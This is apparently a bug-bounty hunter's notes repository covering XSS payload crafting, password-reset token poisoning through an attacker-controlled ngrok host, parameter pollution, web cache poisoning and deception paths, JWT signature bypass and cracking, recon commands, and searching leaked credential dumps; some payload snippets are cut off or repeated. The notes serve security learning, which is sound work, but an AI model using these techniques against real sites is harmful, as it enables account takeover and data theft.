user. 17 | - If you're allowed to move on to the password reset page congrats. 18 | ```security_question=hacked&security_answer=hacked&username=victim_account``` 19 | --- 20 | -------------------------------------------------------------------------------- /Methodologies/xss.md: -------------------------------------------------------------------------------- 1 | # Cross Site Scripting (XSS) 2 | There are many methods for finding a XSS vulnerability. Some of the methods are given as follows. 3 | You can check for XSS by following methods: 4 | 5 | ### 1. Source Code Method 6 | 1. Look for an Input section on the Web Page. It can be search box, comment box, signup or anything else. 7 | 2. Type any random query in the Input field, to check if it reflects on the web page. 8 | 3. If it reflects, view the source code of the page and analyze how is your input being relflected. 9 | 4. Your goal is to add your script in such a way it get executed. For Example: 10 | ``` javascript 11 | "> 12 | ``` 13 | Here "> will close the existing tag and your script will be executed (If the website is vulnerable to xss). 14 |  15 | - Following are some of the techniques to craft your payload: 16 | 17 | 18 | - We can use : and the closing is FILTERED simply convert it into HTML code so that the browser directly execute that (TIP: you can try changing the type="text") 27 |  28 | 8. `````` Tag represents plain text, where you will have to use `````` tags example: ```X-Forwarded-Host: bing.com 5 | 6 |  7 | 3. Then forward the request and check your email. You got an email of Password reset with token. Which looks Like ([https://bing.com/users/reset\_password/tqo4Xciu806oiR1FjX8RtIUc1DTcm1B5Kqb53j1fLEkzMW2GPgCpuEODDStpRaES](https://redacted.com/users/reset_password/tqo4Xciu806oiR1FjX8RtIUc1DTcm1B5Kqb53j1fLEkzMW2GPgCpuEODDStpRaES)). 8 | 4. Here token is Leak to the bing.com. So Now to confirm this token is True or not. Put [https://redacted.com](https://redacted.com/) instead of [https://bing.com](https://hackerone.com/redirect?signature=6b4c48def3047486a33dd3013d8956a4d8263bc8&url=https%3A%2F%2Fbing.com) and open in browser. 9 | 10 | 5. So the password reset link is valid and i can able to reset the password. 11 | 12 | ### Exploitation 13 | 1. Create a server via ngrok and consider it as an Attacker's server. 14 | 2. Then Attacker go to the page which is [https://redacted.com/users/forgot\_password](https://redacted.com/users/forgot_password) and type **Victim** username and capture the request in Burp suite. 15 | 3. In captured request Attacker add “**X-Forwarded-Host: ngrok.io**” ngrok.io=ngrok server address. 16 |  17 | 4. . So after that Victim can get the Password reset URL and the domain of that reset link is ngrok server address or domain. (For the exploitation It need victim interaction or one time click only) 18 | 5. Whenever victim is click on that link. Attacker can get the full token in his server. 19 | 6. When attacker can get the password reset token he will only change the ngrok domain name to Main Domain to Takeover the Account. 20 | --- 21 | 22 | ### Method 2 : HTTP Parameter Pollution 23 | 1. Go to [https://anywebsite.com/forgot/](https://dash.readme.io/forgot/) 24 | 2. Start Burp Proxy and start intercepting requests 25 | 3. Enter the email address of the victim on the website and click submit 26 | 4. intercept request on burp and add another email parameter with the attacker’s email address and forward the request 27 | 5. Now you will receive the email from readme regarding account password reset. 28 | 29 | --- 30 | 31 | ### Method 3: Modifing the JSON, to send Pswd Reset Mail on multiple Email IDs 32 | - If in the reset password request there is a post Json parameter => email 33 | ```json 34 | “email":”me@mail.com” 35 | ``` 36 | and the response is 37 | ```json 38 | “msg”:”password reset email sent” 39 | ``` 40 | Try to make the email parameter value as an Array with 2 mails to manipulate the functionality and send the email link to email1 and email2 41 | ```json 42 | { 43 | “email”:[”victimMail”,”attackerMail"] 44 | } 45 | ``` 46 |  47 | If you're lucky the password Reset link will be send to both the Emails. 48 | 49 | **Tip** :- In reset password request 50 | 1. use content type converter burp ext 51 | 2. convert the request to json , if the application accepted it try this trick 52 | 3. convert the request to xml and if the application accepted it u can try xxe 53 | --- -------------------------------------------------------------------------------- /.obsidian/workspace: -------------------------------------------------------------------------------- 1 | { 2 | "main": { 3 | "id": "bca1d3b0c49761cc", 4 | "type": "split", 5 | "children": [ 6 | { 7 | "id": "2e5505c5a1eeeb85", 8 | "type": "leaf", 9 | "state": { 10 | "type": "markdown", 11 | "state": { 12 | "file": "Methodologies/Authentication.md", 13 | "mode": "source" 14 | } 15 | } 16 | }, 17 | { 18 | "id": "ef60661620027d0a", 19 | "type": "leaf", 20 | "state": { 21 | "type": "markdown", 22 | "state": { 23 | "file": "Methodologies/Authentication.md", 24 | "mode": "preview" 25 | } 26 | } 27 | } 28 | ], 29 | "direction": "vertical" 30 | }, 31 | "left": { 32 | "id": "b913eab355b0bcfe", 33 | "type": "split", 34 | "children": [ 35 | { 36 | "id": "4e2782095dffa78d", 37 | "type": "tabs", 38 | "children": [ 39 | { 40 | "id": "1f56794f4faf574f", 41 | "type": "leaf", 42 | "state": { 43 | "type": "file-explorer", 44 | "state": {} 45 | } 46 | }, 47 | { 48 | "id": "967ae47aee414f60", 49 | "type": "leaf", 50 | "state": { 51 | "type": "search", 52 | "state": { 53 | "query": "", 54 | "matchingCase": false, 55 | "explainSearch": false, 56 | "collapseAll": false, 57 | "extraContext": false, 58 | "sortOrder": "alphabetical" 59 | } 60 | } 61 | } 62 | ] 63 | } 64 | ], 65 | "direction": "horizontal", 66 | "width": 229.00079345703125 67 | }, 68 | "right": { 69 | "id": "200e76304085cd16", 70 | "type": "split", 71 | "children": [ 72 | { 73 | "id": "3c58f10166006afe", 74 | "type": "tabs", 75 | "children": [ 76 | { 77 | "id": "6b3cf202be397945", 78 | "type": "leaf", 79 | "state": { 80 | "type": "backlink", 81 | "state": { 82 | "file": "Methodologies/Authentication.md", 83 | "collapseAll": false, 84 | "extraContext": false, 85 | "sortOrder": "alphabetical", 86 | "showSearch": false, 87 | "searchQuery": "", 88 | "backlinkCollapsed": false, 89 | "unlinkedCollapsed": true 90 | } 91 | } 92 | } 93 | ] 94 | } 95 | ], 96 | "direction": "horizontal", 97 | "width": 300, 98 | "collapsed": true 99 | }, 100 | "active": "2e5505c5a1eeeb85", 101 | "lastOpenFiles": [ 102 | "Methodologies/Authentication.md", 103 | "Methodologies/Subdomain-Enumeration-Tecniques.md", 104 | "Methodologies/Account-Takeover.md", 105 | "Untitled.md", 106 | "Methodologies/xss.md", 107 | "Methodologies/Sensitive-Information-Disclosure.md", 108 | "Methodologies/password-reset-flaw.md", 109 | "Methodologies/assets/pswd-reset.png", 110 | "Misc.md", 111 | "Methodologies/README.md" 112 | ] 113 | } -------------------------------------------------------------------------------- /Notes/Fingerprinting.md: -------------------------------------------------------------------------------- 1 | # Fingerprinting Phase 2 | ## Introduction 3 | - The reconnaissance phase is all about finding your targets assets and endpoints.After you find your targets assets you need to fingerprint them. 4 | 5 |  6 | - The purpose of fingerprinting is to find out what technologies are running on your target’s assets.You want to know the technology stacks, version numbers, running services, and anything else that can be used to identify what's running on an endpoint. 7 | 8 | --- 9 | 10 | ## 1. IP 11 | 12 | ### 1.1 Introduction 13 | - During the reconnaissance we gathered CIDR ranges belonging to our target. IP address were also gathered from the DNS resolutions of the target’s subdomains during the subdomain enumeration phase. 14 | - These are the two main ways offinding IPs associated with an organization. Once you have a list of IPs you will want to discover the ports and services running on that endpoint. 15 | ### 1.2 Shodan 16 | - [Shodan](https://www.shodan.io/) is the most popular resource for gathering port scan data. This service scans the entire internet on a daily basis and provides this data to its users. 17 | - If you have your targets CIDR range you can use that to query Shodan. This will display all assets in that CIDR range that have an open port. 18 | ``` bash 19 | net:<”CIDR,CIDR,CIDR”> 20 | ``` 21 | - You can also search via the organizations name. 22 | - One technique you can use is to search for a company's SSL certificate. SSL certificates should have the companies name in them so you can use this to find other assets belonging to an organization. 23 | 24 | ### 1.3 Censys 25 | - Censys does the same thing Shodan does it’s basically a Shodan clone. 26 | - [https://censys.io/ipv4](https://censys.io/ipv4) 27 | - You can often find assets on Censys that aren't on Shodan and vice versa. 28 | ### 1.4 NMAP 29 | - Nmap does a really good job when scanning a small range of hosts but if you are trying to scan a large organization it’s probably not the right tool. 30 | - Nmap is really good at doing a thorough scan, so if you want to scan and enumerate every port on a machine use Nmap. 31 | ### 1.5 Masscan 32 | - Mass scanners are really good at detecting a single port across a huge range of IPs. The tool Masscan was built to scan the entire internet in just a few hours so it should be able to scan a large organization with ease. 33 | - https://github.com/robertdavidgraham/masscan 34 | ```bash 35 | sudo masscan -p --exclude Exclude IP> --banners -oX ``` 36 | ``` 37 | 38 | 39 | ## 2. Web Applications 40 | 41 | ### 2.1 Introduction 42 | - When dealing with domains or web applications we want to perform some additional fingerprinting. We want to know the technology stack, programming languages used, firewalls used, and more. Remember web applications can be found on both IPs and domains, most people forgot about the IPs during this phase. 43 | 44 | ### 2.2 Wappalyzer 45 | - Wappalyzer is by far the best tool for identifying web technologies. Basically, the tool analyzes an applications source code using a bunch of regexes to find out what technologies its running. You can download an extension for your browser. 46 | 47 | ### 2.3 Firewall 48 | - It’s not uncommon to see an application protected by a web application firewall (WAF). Before you start throwing a bunch of XSS payloads at a target you should check to see if there is a WAF. 49 | - https://github.com/EnableSecurity/wafw00f 50 | ```bash 51 | wafoof 52 | ``` 53 |  54 | 55 |  56 | 57 | - The hacking community has been bypassing WAFs ever since the first WAF came out and much of it is documented. 58 | - https://github.com/0xInfection/Awesome-WAF#known-bypasses 59 | 60 | ## Conclusion 61 | - If your testing a web application it’s a good idea to see if it’s protected by a firewall. Web application firewalls (WAFs) are designed to block malicious attacks such as XSS but they all seem to contain bypasses. 62 | - If you discover an application is behind a WAF you need to adjust your payloads so they are able to bypass the firewall. It does no good to spend hours testing for XSS if it’s getting 63 | blocked by a WAF, work smarter not harder. 64 | -------------------------------------------------------------------------------- /Notes/Reconnaissance- Phase1.md: -------------------------------------------------------------------------------- 1 | # Reconnaissance [Phase 1] 2 | The beginning of the recon phase is broken down into vertical and horizontal correlation. The idea behind horizontal correlation is to find all assets related to a company. This could be acquisitions, CIDR ranges, and domains that are owned by the same person. Vertical correlation when dealing with domains involves finding all subdomains belonging to a single domain. 3 |  4 | [Read](https://0xpatrik.com/asset-discovery/) an Article about Enumeration. 5 | 6 | 7 | ### 1. CIDR Range 8 | - A **Classless Inter-Domain Routing (CIDR)** range is a short way of representing a group of IP addresses 9 | - CIDR ranges can be used to help identify assets belonging to an organization. 10 | - #### ASN 11 | - An** Autonomous System Number (ASN**) is a way to represent a collection of IPs and who owns them. 12 | - ASN Lookup : 13 | - We can use [MxToolbox](https://mxtoolbox.com/asn.aspx) or [Huricane ](https://bgp.he.net/) to find a company’s ASN as well as their correlating CIDR ranges 14 | - #### Reverse Whois 15 | - When registering a domain your information is saved in a whois database. This information contains the *registers name, address, email,* and much more. Searching the whois database we can find all domains registered by the email ***.example.com** 16 | - Using historical whois data to perform reverse whois searches is an excellent way to find domains that were purchased by the same organization. Companies often own more than one domain so finding these additional assets can help widen your scope. 17 | - #### Reverse DNS 18 | - DNS records contain several bits of information that can be used to correlate domains to one another. The A, NS, and MX records are the most popular ways to find domains that are likely to be owned by the same person. 19 | - If domains share the same A, NS, or MX record then it is possible they are owned by the same person. We can use reverse IP, reverse name server, and reverse mail server searches to find these domains. 20 | - #### Reverse Name Server 21 | -  22 | - We can use the tool called [Domaineye](assets/dns-server-lookup) 23 | - #### Reverse Mail Server 24 | -  25 | - We can use the same technique to perform reverse mail server searches. Just like before the MX record returned must be owned by the target organization. 26 | - Conclusion 27 | - DNS records can be used to tie domains together. If domains share the same A, NS, or MX record we can assume they are owned by the same entity. There may be some false positives but these can be filtered out. 28 | - It Will increase Your Scope in Bug Hunting. 29 | 30 | 31 | ### 2. Google Dorking 32 | 33 | - Dorking is no doubt a great option for filtering your results according to your purpose. We can perform several tasks through the google dorking. For Example: 34 | - We can then take that copyright text (A Copyright statement is unique for each website, located at the bottom of the web page) and search for every other website that contains this text. 35 | - intext:"© 2021 realself, inc. all rights reserved. realself is a registered trademark of realself, inc." 36 | -  37 | 38 | 39 | ### 3. Tools - Amass 40 | 41 | - Amass is the most popular asset discovery tool there is. This tool has many features and acts as the Swiss army knife of asset discovery. 42 | - We can perform several Discovery Actions using this tool. Some of the Informations that can be revealed using this tool are listed below: 43 | - ASN: we can use a company’s ASN number to find a list of assets belong to the organization. First, we must find a list ASN numbers assigned to an organization using the following amass command: 44 | ``` 45 | amass intel -org 46 | ``` 47 |  48 | - This command will return a list of ASN numbers that might belong to the organization. 49 | - CIDR Range: Now that you have a list of ASN numbers you can find the associated CIDR range by using the following bash command: 50 | ``` 51 | whois -h whois.radb.net -- '-i origin ' | grep -Eo "([0-9.]+){4}/[0-9]+" | sort -u 52 | ``` 53 | -  54 | - List of Domain: You can also use amass to find a list of domains running on a given ASN. This will use reverse IP searches to find domains running on the IPs in the specified ASN. The following command can be used to find domains running on a given ASN: 55 | ``` 56 | amass intel -asn 57 | ``` 58 | - Amass can also be used to find domains on a given CIDR range. We can use the following command to find these endpoints: 59 | ``` 60 | amass intel -cidr 61 | ``` 62 | - Reverse Whois: Given a specific domain amass can utilize reverse whois searches to find other domains purchased by the same user. The following command can be used to issue this request: 63 | ``` 64 | amass intel -whois -d 65 | ``` 66 | -------------------------------------------------------------------------------- /Notes/Methodology - Workflows.md: -------------------------------------------------------------------------------- 1 | # Methodology - Workflow 2 | Before you start trying to hack something you need to come up with a high-level plan of attack. 3 | 4 | ## 1. Traditional Workflow 5 | This is the Traditional Workflow : 6 |  7 | #### 1. Domain 8 | - Pick a Company / Organization hosting the Bug Bounty Program. 9 | - Locate all domains belonging to that company 10 | - Perform DNS resolution to determine the A, NS, MX, and NAME records of each target. (All A records should be added to a list of IPs belonging to the company.) 11 | 12 | #### 2. CIDR 13 | A CIDR range is just a range of IP addresses belonging to an organization. 14 | - Large companies tend to have their own CIDR ranges but smaller companies will typically rent servers from a third-party vendor such as Rackspace or amazon web services (AWS) so they won’t have a CIDR range 15 | 16 | #### 3. IP 17 | - Perform a port scan of each port of the IP Addresses obtained. 18 | - If you don’t properly fingerprint each host you will be missing potential vulnerabilities. 19 | 20 | #### 4. Web Application 21 | - The final step in this recon process is to take the list of subdomains and IPs running a web application and perform fingerprinting and content discovery on them. 22 | - For instance, if you see a site is running WordPress you might run a WordPress scanner on it. If you see an Apache Struts page you might try some known CVEs for that, the list goes on. 23 | - After your fingerprint the host you will want to perform content discovery. 24 | 25 | 26 | ## 2. Github Workflow 27 | Sometimes developers will upload hard coded credentials in their source code and config files for the world to see. The workflow is: 28 |  29 | - With a little recon you can find the repositories (used to manage and store the source code) and if you get lucky you will find some hard-coded credentials that can be used to login to their application or server. 30 | 31 | 32 | ## 3. Cloud Workflow 33 | The VPS, database, storage, and everything else can be hosted in the cloud. The workflow for Cloud Architecture is: 34 |  35 | Note: S3 buckets is a place to store files, it acts as your cloud storage. 36 | - Sometimes companies will leave these open to the public allowing people to download sensitive data. AWS is not the only one impacted by this, nearly all cloud providers share this misconfiguration. 37 | - check each cloud provider to see if your target has any assets with a misconfigured storage bucket. 38 | 39 | 40 | ## 4. Google Dork Workflow 41 | Google dorks allow you to filter through the massive amount of data Google collects to find specific things, for example if you only want to show PDF 42 | files hosted on an endpoint there is a dork for that. 43 |  44 | - Use google dorks to locate sensitive information on third party sites that a target uses. 45 | 46 | 47 | ## 5. Leaked Credentials Workflow 48 | This workflow might be out of scope. 49 |  50 | - First you must go out and find all of these database leaks. These can be downloaded for free by simply searching on google. 51 | - The final step is to grep through these files for your target domain, something like the final step is to grep through these files for your target domain, something like “*@example.com”. After that is completed you should have a list of emails with their associated clear text password. After that is completed you should have a list of emails with their associated clear text password. 52 | 53 | 54 | ## 6. Exploit Workflows 55 | 56 | ### 6.1 New CVE Workflow 57 | - The second a new CVE drops with a working POC you want to be exploiting it. This workflow only happens every so often and you have to act fast when it does. 58 |  59 | - Let's say some dude named Orange drops a Palo alto firewall RCE exploit. You will need to figure out if your targets are running Palo alto so you can launch the exploit. You don’t want to go around trying to exploit everything as that would be foolish. Once you find some potential targets via fingerprinting you should launch the POC exploit code and wait to see if it worked. 60 | 61 | ### 6.2 Known Exploit / Misconfiguration Workflow 62 | - The basic idea here is to fingerprint your targets assets so you can find known CVEs and misconfigurations impacting their technology stack. 63 |  64 | - For example, if your target is running apache struts then you may want to try launching some throwing some apache struts exploits at the target. 65 | - You need to fingerprint both the targets domains and IPs. Once that is completed you can search for public CVEs with working POCs. You’re not only looking for CVEs, you’re also looking for misconfigurations. CVEs get patched while misconfigurations can happen at any time to anyone. 66 | 67 | ### 6.3 CMS Workflow 68 | - These exploits are generally bundled up as some sort of tool which scans for everything, this makes your life a lot easier as a tester, all you need to know is what tool to run for which CMS. 69 |  70 | 71 | ### 6.4 OWASP Workflow 72 | - If your hunting for XSS, SQLI, IDOR, file upload, or any other vulnerability it will should during this phase. 73 |  74 | 75 | ### 6.5 Brute Force Workflow 76 | - This workflow involves brute forcing exposed admin interfaces, SSH services, FTP, services, and anything else that accepts credentials. 77 |  78 | - Issue with this workflow is that many organizations will consider this type of attack out of scope so make sure to check 79 | 80 | -------------------------------------------------------------------------------- /Notes/Caching Servers.md: -------------------------------------------------------------------------------- 1 | # Caching Servers 2 | ## 1. Web Cache Poisoning 3 | - Web cache poisoning is a technique attackers use to force caching servers to server malicious requests. 4 | - Most commonly this attack is chained with self xss which turns a low impact xss finding into a high impact one since it can be served to any user who visits the cached page. 5 | 6 | Working of Cache Servers 7 | 8 |  9 | 10 | - As you can see in the Image, initially when user requests for a URL for something=ok parameter, the request will be sent to server and the response will be saved to cache. However, for rest of 100 times, if the same URL is requested again - the request will get its response from the cache and there will be no need of pinging the server. 11 | 12 | - Identify the Cache Requests & Response 13 | - A cache key is an index entry that uniquely identifies an object in a cache. 14 | -  15 | - If we look at the above request the cache keys would be: 16 | - GET /embed/v4.js?_=1605995211298 17 | - Play.vidyard.com 18 | -  19 | - As shown above in the HTTP response the “Vary” header says that the X-ThumbnailAB, X-China, accept-language, and Accept-Encoding headers are also used as cache keys. 20 | 21 | 22 | This was all basics, now lets move on to the Web Cache Poisoning Attack: 23 | 24 | - If an attacker can somehow inject malicious content into a http response that is cached the same response will be served to other users who request the same endpoint. 25 |  26 | - The first step is to find unkeyed input. As mentioned earlier cache keys are used by the caching server to determine which requests are the same and which are different. We need to find keys that don't cause the server to think the request is different. (hence, named Unkeyed). 27 | - The second step is to determine the impact the unkeyed input has on the server, can it be used to exploit an open redirect vulnerability, self xss, or some other vulnerability. 28 | - Finally, you need to figure out if the page is cacheable using the unkeyed input, if it is you should be able to exploit other users when they view the cached page. 29 | - You can use "Param Miner" extension in Burp Suite, to facilitate the finding on unkeyed input 30 |  31 | - Now after getting the unkeyed input, work according the results. 32 | - Tips: 33 | - The “Age” header is also another indicator this page is cached. This value contains the seconds the page has been cached for. 34 | - The path is normally used when determining if a page has been cached or not, so adding a random GET parameter to the request should cause the response to be cached. 35 | 36 | 37 | 38 | ## 2. Web Cache Deception 39 | - "An attacker against the caching server" 40 | - With this attack we trick the caching server into caching sensitive information of other users. 41 | - Web cache deception works by sending the victim a URL which will cache the responsefor everyone to see. This exploit is only possible due to path confusion and the fact that some caching servers will cache any request containing a static file such as a png, jpeg, and css. 42 | - One Important thing is: "when a caching server decides to cache a response and when it doesn't " 43 | - Suppose you have the endpoint “setting.php” which returns a user's name,email,address, and phone number. There could be numerous users access setting.php and each response will be different as the response relies on the user currently logged in so it wouldn't make sense to have caching on this page. 44 | 45 |  46 | - On line 15 there is a header called “cache-control” which is set to “no-cache”. This tells the caching server to not cache this page. 47 | - The caching server will cache all static pages no matter what the response headers say. 48 | - So if we were to request example.com/nonexistent.css” the caching server would cache this response regardless of the response headers because it is configured to do so. 49 | - Next let's look at path confusion. Path confusion occurs when an application loads the same resources no matter what the path is. With the rise of large web applications and complicated routing tables path confusion has been introduced. 50 |  51 | - As you can see above there is a catch all path on the root directory. 52 | - Both the “example.com” and example.com/something'' URL would be sent to the same catch_all function. 53 | 54 |  55 | 56 | The above image is from the white paper “Cached and Confused: Web Cache Deception in the Wild” and describes several techniques used to cause path confusion. 57 | 1. Path Parameter : It occurs when additional paths added to the request are passed to the same backend function. 58 | - So “example.com/account.php” is the same as “example.com/account.php/nonexistent.css” in the eyes of the application. However, the caching server sees example.com/account.php/nonexistent.css”. 59 | 60 | 2. Encoded Newline: It tries to take advantage of the fact that some proxies and web servers stop reading after the new line character but the caching server does not. 61 | - So the webserver sees example.com/account.php” but the caching server sitting in front of the website sees example.com/account.php%0Anonexistent.css” so it caches the response because they are different. 62 | 3. Encoded Semicolon : It takes advantage of the fact that some webservers treat semicolons(;) as parameters. However, the caching server may not recognize this value and treat the request as a separate resource. 63 | - The website sees “example.com/account.php” with the parameter “nonexistent.css” but the caching server only sees example.com/account.php%3Bnonexistent.css”. 64 | 4. Encoded Pound : It takes advantage of the fact that web servers often process the pound character as an HTML fragment identifier and stop parsing the URL after that. 65 | - However, the caching server may not recognize this so it sees example.com/account.php%23nonexistent.css” while the server sees example.com/account.php”. 66 | 5. Encoded Question Mark : It takes advantage of the fact that web servers treat question marks(?) as parameters but the caching server treats the response different. So the caching server sees example.com/account.php%3fname=valnonexistent.css” but the web server sees “example.com/account.php”. 67 | 68 | - To test for web cache deception try one of the several path confusing payloads as shown below: 69 | - example.com/nonexistent.css 70 | - example.com/%0Anonexistent.css 71 | - example.com/%3Bnonexistent.css 72 | - example.com/%23nonexistent.css 73 | - example.com/%3fname=valnonexistent.css 74 | 75 | --- 76 | -------------------------------------------------------------------------------- /Notes/API-Testing.md: -------------------------------------------------------------------------------- 1 | # API - Testing 2 | - Most modern day applications are split into two sections, frontend and backend as shown below: 3 |  4 | - The backend is the API and can be written in multiple languages. 5 | - There are several types of APIs and they are each slightly different so before you start API hacking you need to understand a few things. 6 |  7 | ## 1. APIs 8 | ### 1.1 Rest API 9 | - 9 out of 10 times the API used is Rest API. Observe the request captured in burpsuite: 10 |  11 | - First Sign telling the request is REST API is the fact that the request data is a JSON String.(JSON strings are widely used by REST APIs) 12 | - The other sign is that the application is issuing a PUT request. The PUT method is one of several HTTP methods associated with REST APIs. 13 | - Another sign you're dealing with a REST API is when the HTTP response contains a MIME type of JSON as shown in the below Burp requests: 14 |  15 | ### 1.2 RPC - Remote Procedural Call 16 | - oldest form of communication you will see being used by an application dating back to the 1980s. 17 | - This protocol is fairly basic, each HTTP request maps to a particular function. 18 |  19 | - Indicators: 20 | - The first thing is the file name “xmlrpc.php”. XMLRPC uses XML while JSONRPC uses JSON for its encoding type. If this endpoint was an JSONRPC API the data would be contained in a JSON string instead of an XML doc, that's really the only difference between the two RPC APIs. 21 | - In the request body you see two tags called “methodCall” and “methodName” , since RPC requests correspond to function names so this is another hint at this being an RPC API. 22 | (Here we are calling the function “system.listMethods” and passing zero arguments.) 23 | - You know that REST APIs use several HTTP methods such as PUT,POST, and DELETE but RPC APIs only use two, GET and POST methods. 24 | 25 | ### 1.3 SOAP - Simple Object Access Protocol 26 | - You can think of a SOAP API as a more advanced version of XMLRPC. They are both very similar by the fact they both use XML for encoding and HTTP to transfer messages. 27 | - However, SOAP APIs tend to be a little more complex as shown in the below request: 28 |  29 | - the SOAP request is a little more structured and inorder to send a SOAP request you must follow this structure. 30 | - An example of the SOAP format can be found below: 31 |  32 | - The header part is optional and is used to hold values related to authentication, complex types, and other information about the message itself. The body is the part of the XML document which actually contains our message. 33 | - Example: 34 | ```xml 35 | 36 | 37 | 38 | gero et 39 | 40 | 41 | ``` 42 | - As you can see in the above SOAP body we are calling a method named “GetCitiesByCountry” and passing in an argument called “CountryName ” with a string 43 | value of “gero et”. 44 | 45 | ### 1.4 GraphQL API 46 | - GraphQL is a data query language developed by Facebook and was released in 2015. GraphQL acts as an alternative to REST API. 47 | - Rest API v/s GraphQL: 48 | - Rest APIs require the client to send multiple requests to different endpoints on the API to query data from the backend database. With graphQL you only need to send one request to query the backend. 49 | - This means by default graphQL allows anyone to query it, any sensitive information will be available to attackers unauthenticated. 50 | - When performing your directory brute force attacks make sure to add the following paths to check for graphQL instances: 51 | - /graphql 52 | - /graphiql 53 | - /graphql.php 54 | - /graphql/console 55 | - Once you find an open graphQL instance you need to know what queries it supports. This can be done by using the [introspection system](https://graphql.org/learn/introspection/) 56 | - Issuing the following requests will show you all the queries that are available on the endpoint. 57 | ``` graphql 58 | example.com/graphql?query=__schema{types{name,fields{name}}}} 59 | ``` 60 |  61 | - Other than missing authentication by default graphQL endpoints can be vulnerable to other bugs such as IDOR. 62 | 63 | ## 2. Authentication 64 | If an application requires you to login it must use some form of authentication to verify who you are. Depending on what authentication method an application is using there could be several types of attacks used to compromise the authentication process. Compromising the authentication process will typically lead to account takeover(ATO) 65 | vulnerabilities 66 | ### 2.1 HTTP Basics 67 | - This is probably the most basic and easy to implement type of authentication. As shown in the below image you can identify HTTP Basic Auth by the popup it displays in web browsers. 68 |  69 | - That's one of the biggest downfalls of using HTTP Basic Auth. Each time you send a request your clear text username and password are sent as a base64 encoded authentication header making it very susceptible to eavesdropping attacks. 70 | 71 | ### 2.2 Json Web Token 72 | - extremely popular among API endpoints as they are easy 73 | to implement and understand. 74 |  75 | - a JWT token is made up of three parts separated by dots: 76 | ``` 77 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c 78 | ``` 79 | - The token can easily be decoded using a base64 decoder, but I like to use the site [jwt.io](jwt.io) to decode these tokens as shown below. 80 |  81 | - Notice how there are three parts to a JWT token: 82 | - Header : this is where you specify the algorithm used to generate the signature. 83 | - Payload : this is where you specify the information used for access control. In the above example the payload section has a variable called “name”, this name is used to determine who the user is when authenticating 84 | - Signature : this value is used to make sure the token has not been modified or tampered with. The signature is made by concatenating the header and the payload sections then it signs this value with the algorithm specified in the header which in this case is “H256”. 85 | - Without a signature anyone could modify the payload section completely bypassing the authentication process. If you remove the signature from a JWT token and it's still accepted then you have just bypassed the verification process. This means you can modify the payload section to anything you want and it will be accepted by the backend. 86 | - this attack can be done manually or you can use a Burp plugin called “Json Web Token Attacker” as shown in the below image: 87 |  88 | 89 | - Brute Force Secret Key : 90 | - JWT tokens will either use an HMAC or RSA algorithm to verify the signature. 91 | - If the application is using an HMAC algorithm it will use a secret key when generating the signature. If you can guess this secret key you will be able to generate signatures allowing you to forge your own tokens. 92 | - There are several projects that can be used to crack these keys as shown below: 93 | - https://github.com/AresS31/jwtcat 94 | - https://github.com/lmammino/jwt-cracker 95 | - https://github.com/mazen160/jwt-pwn 96 | - https://github.com/brendan-rius/c-jwt-cracker 97 | - RSA to HMAC : 98 | - There are multiple signature methods which can be used to sign a JWT token as shown in the list below: 99 | - RSA: When using RSA the JWT token is signed with a private key and verified with the public key. As you can tell by the name the private key is meant to be private and the public key is meant to be public. 100 | - HMAC: HMAC is a little different, like many other symmetric encryption algorithms HMAC uses the same key for encryption and decryption. 101 | - None: None 102 | 103 | - In the code when you are using RSA and HMAC it will look something like the following: 104 | - verify(“RSA”,key,token) 105 | - verify(“HMAC”,key,token) 106 |  107 | 108 | -------------------------------------------------------------------------------- /Notes/Reconnaissance - Phase2.md: -------------------------------------------------------------------------------- 1 | # Reconnaissance [Phase 2] 2 | ## 1. Wordlists 3 | Word lists are used to find new subdomains, interesting files, cracking passwords, and much more. 4 | #### 1.1 Sec List 5 | - If you’re looking for a good wordlist this should be the first place you look, chances are they have the wordlist you're looking for. 6 | - https://github.com/danielmiessler/SecLists 7 | - Robots Disallow: The robots.txt disallow directory is used to tell scraping bots such as google to not crawl certain files and file paths, this can be a good indication that they are trying to hide something. 8 | - RAFT: The RAFT wordlists contains a large number of interesting filenames and directories. There are several different versions of this list ranging in size but I generally just go with the largest list. 9 | - Technology Specific: Seclists contains specific wordlists for PHP, Golang, ASP, Apache, IIS, and a bunch more. 10 | #### 1.2 Common Speak 11 | - https://github.com/assetnote/commonspeak2 12 | - https://github.com/assetnote/commonspeak2-wordlists 13 | - Common speak from Assetnote has a unique way of generating wordlists. 14 | #### 1.3 All 15 | - The majority of people use this wordlist for subdomain brute forcing. 16 | - You won’t find a bigger word list than this one. 17 | - https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056 18 | 19 | #### 1.4 CRTSH 20 | - Every https domain is logged in a database somewhere. Internetwache created a tool to scrape this database for subdomains. Every hour Internetwache uses this tool to update his wordlist. 21 | - https://github.com/internetwache/CT_subdomains 22 | 23 | 24 | 25 | ## 2. Subdomain Enumeration 26 | #### 2.1 Certification Transparency Logs 27 | - Any site that starts with HTTPS:// uses SSL certificates to provide a secure connection. If a hacker or rogue certificate authority is able to forge this certificate they would be able to perform man in the middle attacks. 28 | 29 |  30 | - The certificate transparency log is used to monitor and audit unauthorized certificates. Every time you get an SSL certificate for your domain or subdomain it will be logged in certificate transparency logs 31 | - We can find all SSL certificates belonging to a domain by issuing a GET request to https://crt.sh/?q=%25.facebook.com as shown below: 32 | 33 |  34 | - Tools: 35 | - [Crtsh.py](https://github.com/ghostlulzhacks/CertificateTransparencyLogs) 36 | #### 2.2 Search Engine 37 | - Google dorks can be utilized to find subdomains with the following dork: 38 | - Site: 39 | - This dork wil return all the links belonging to a specific domain. 40 |  41 | #### 2.4 Github 42 | - Almost every developer uses GitHub to store their source code. Developers will often hard code private or hidden endpoint points in their source code. 43 | - Tool : [Github-Search](https://github.com/gwen001/github-search/blob/master/github-subdomains.py) by [gwen001](https://github.com/gwen001). 44 | 45 | #### 2.5 Brute Force 46 | - Brute forcing is probably the most popular way to find subdomains. You might think that you send a get requests to a bunch of subdomains and see which ones resolve but that’s wrong. DNS can be used to brute force subdomains without sending packets to your target. All you do is perform a DNS requests against a subdomain if it resolves to an IP then you know it’s live. 47 | - GoBuster: [GoBuster](https://github.com/OJ/gobuster) is a good tool for discovering the directories hosted on a web server as well as a enumerating the Subdomains. 48 | - It is however dependent on how good wordlist are you using for the enumeratoin. 49 | #### 2.6 Subdomain Permutation 50 | - One of the best ways to find hidden assets is through the use of permutations. A permutation is a way a set of words can be rearranged. 51 | - For example, if we 